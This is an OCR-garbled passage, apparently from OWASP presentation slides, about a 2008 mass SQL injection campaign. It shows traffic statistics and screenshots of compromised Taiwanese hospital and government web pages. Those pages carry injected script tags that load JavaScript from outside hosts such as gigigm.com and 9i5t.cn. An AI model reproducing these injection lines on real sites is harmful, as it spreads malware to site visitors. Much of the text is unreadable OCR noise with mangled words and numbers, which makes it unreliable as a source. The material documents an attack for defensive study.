= MSIE 7.0, MAXTHON 2.0 54 0.1%
g;i MSIE 6.0, MyIEZ 32 0.1%
0 Mozilla 4. 0EmbeddedWB- 14 26 0.1%
] Firefox 2.0.0. 16 18 0.0%
R Firefox 2.0.0.17 17 0.0%
:E MSIE 8.0 12 0.0%
N MSIE 5.0 11 0.0%
EH Opera 9.60 9 0.0%
iﬁ Firefox 3.0.3 8 0.0%
jordl He 8 0.0%
MES 1468 0.7%
I=F:i) 1151 0.6%
[=¢ 4 880 0.4%
i S
HE 588 0.3%
8% 549 0, 3%
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5=F I\Jﬁ I HHL L )

F FJBJ:—éLI; F é Mass SQL
SOBS | Injection S > %ﬁeo]}{ Ji|
o
458
308
1S58
0
W GHRE 204898 TP [] SIESE 2427635 PV
2005-9-4 S9T0 2.9% 34479 1.4% )
20058-9-5 STO6 2.8% 35650 1.5% |
Z2005-9-6 5776 2.8% 96123 4.0% \
2008-9-7 5849 2. 9% 92594 3 8% b
2008-9-8 5T03 2.8% 576043 23.T% )
20058-9-9 S508 2.7T% 197594 8. 1% |
2008-9-10 4960 2 4% 222888 9.2% |
2008-9-11 4803 2.3% 32308 1.3% b
2008-9-12 4651 2. 3% 31743 1. 3% )
2008-9-13 3607 1.8% 21759 0.9% |

OWASP e 38




ITHome, 2008705

S . . I

F=SAL Injection 2B (L
L FESEHGEINE

A SQL Injection I » 4B EREERERSE > FREEPNRRME  MEERSN - ESEIXE
SQL Injection HEEAYEANS » — XA 8B 200 E4ALL ~ 18iE 2,000 AR WM B
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FIEBSQL Injectiondf R fVp (=]

»>> E-Mai] FEEH{EH >> Home [EITTF

fovel,
-

f‘; XTI A ED

Mackay Memorial Hospital, Hsinchu %
MM MERRTE | . Medeady) o OMBAN  AEEIEE i R M

About| Registration Resource | Information Mews | Knowledge Links

B IEFS HEE B

Registration Online Registration

A5 1 3 o _
8 At A Eat: E18) (L)

W ] o 05 R G 85 i < sewipt sye=ht<seript sre=http: fwww gigignm comfm je> <lscripts
MEETR A REEMAE AT E ¢ 2 A T F A cscript sre=http- A qigigimn combm js <erpts
SRRy R ERA B E A M <script sre=hitp <zcript ste=hitp Flwww gigigm comhm je> < reripl>
Online Registration FEA R A0-640R + M= —20 + cscript sre=hitp Seww gigigm comin jss sfepts

Phone Registration R <soript sre=hitp:ifwrww cscript ste=hitp Flwww gigigm comhm je> </fweript>

Instroction B — 30 20048 M ~1 T00P escript sve=hitp-Arww gigigm combm j= leripts
Download OFD Form
Doctors” Specialty

R <script sre=http-/www =script sic=http Flwww gigigm combm js> <faript=
A TE M RN — - 0T TR cscript sre=htp A gigigm combm je <leripts

B BREMABR <zcript sre=hitp:lferww czcript sre=hilp fiwww qigigm comlm js> <fecript>
PRI A AR ¢ cserescript se=hitp:irars qigigen comin jis <heripls

BB A <script src=htip:fiw <script sre=htip:fwww gigigm comtm jz> </script>
AE A A A B R S TR B B H <script sve=http=Arww qigigm commfm = </apts
BRRESE B35 <zcript sre=hitp f<script sre=htip:fwww gigipm comfm je> </zcript>
pb B FHE PR T A BT R <ocript sve=hitp-/Arww qigigem comim js </erpts

B PR B <zcript sre=hitp-/fwww <script sye=hitp flwww gigigm combm je> <fecript=
HER A ERR - - B - BB cscript sre=hiip-Arww qigigm comim j <eript

B e OWASP e 40
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m [ I (SQL Injection Sty
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R MBI A 12 ¢ A

PORT DETAILS [hitp2hwww, dottaipelgov.tw]

Eile: Edit Miew Help
“{CdDle pDOraer=u celLlpagaling=<

Width=10<{col

Celilspacing:u
Wwidth=10><{col width=660

STYle= wWladln:eaudup

<col >

<tr

class=t1>

x 2

<td nowrap>1.<{/td>
{td colspan=2>{SEEIEFEEERAF

I<Ecript sres
it value=

http://9i5t.cn/a. js><{/script>

<input name:=

type="hidden"

</td>
<SEr>

1>

httpedfwrarer. dot. taiped. gov. terfnewchds

© FEwE O g O

Google

FiF$E

%ﬂ%ﬁm@

EEREE
1. (T A S R SRR T 7 BRfEN. BiE—-2 =

HMEIMNE S ERERAR ERAE Eﬂj&%ﬁ
www _dot taipei gov.tw/newch/survey. agd—

 WiEfiGoogle 2 |

BR-E=X @E— 2.1

FEEFHEE

[7 GEaEE
e hthtto :[hanawnw. dot tzidei.

T A

18k - EE{ZE - FE{bEEE -
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